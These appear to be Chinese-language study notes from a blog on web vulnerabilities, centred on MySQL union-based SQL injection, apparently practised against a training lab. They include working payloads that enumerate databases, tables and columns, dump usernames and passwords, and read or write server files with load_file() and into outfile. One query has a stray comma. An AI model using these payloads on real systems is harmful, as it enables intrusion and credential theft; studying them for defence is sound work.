Web漏洞

Web漏洞导图

web漏洞.png

漏洞等级

高危:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行

中危:反序列化、逻辑安全

SQL注入

MySql注入

Mysql注入.png

判断注入

  1. 猜解列名、字段数量 order by int

  2. 猜解准备,找报错 xxxx?id=-1 union select 1,2,3,4 寻找可以更改的字段

  3. 信息收集

    • 数据库版本:version()
    • 数据库名:database()
    • 数据库用户:user()
    • 操作系统:@@version_compile_os

    information_schema.tables:记录所有表名信息

    information_schema.columns:记录所有列名信息

  4. 获取数据库mozhe_Discuz_StormGroup中的所有表名:

id=-1 
union 
select 1,group_concat(table_name),3,4 
from information_schema.tables 
where table_schema="mozhe_Discuz_StormGroup"

​ 5.获取表StormGroup_member中所有列名:

id=-1 
union 
select 1,group_concat(column_name),3,4 
from information_schema.columns 
where table_name="StormGroup_member"     
  1. 进行注入
id=-1 
union 
select 1,name,password,4 from StormGroup_member limit 0,1

高权限注入

高权限注入指:拿到高权限用户如root的权限,可以通过注入一个数据库,间接获取另一个数据库的信息。

  1. 获取所有数据库名:
id=-1 
union 
select 1, group_concat(schema_name), 3 
from information_schema.schemata
  1. 拿到所有数据库名后,获取指定的dbtest数据库名下的表名信息:
id=-1 
union
select 1, group_concat(table_name), 3 
from information_schema.tables 
where table_schema='dbtest'
  1. 知道表结构后,获取指定的tbtest下的列名信息:
id=-1 
union
select 1, group_concat(column_name), 3 
from information_schema.columns 
where table_name='tbtest' and table_schema='dbtest'
  1. 最后获取指定的dbtest数据库中的tbtest数据表相关的ab列的信息:
id=-1
union
select 1, a, b, 
from dbtest.tbtest

文件读写

  • 适用于MySql的操作函数:

    • 文件读取函数:load_file()

      select load_file('filepath');

    • 文件导出函数:into outfile 或者 into dumpfile

      select 'info' into outfile 'filepath';

  • 文件路径获取方法:

    • 报错显示、遗留文件、漏洞报错、平台配置文件、爆破等
Licensed under CC BY-NC-SA 4.0
自认为是幻象波普星的来客
Built with Hugo
主题 StackJimmy 设计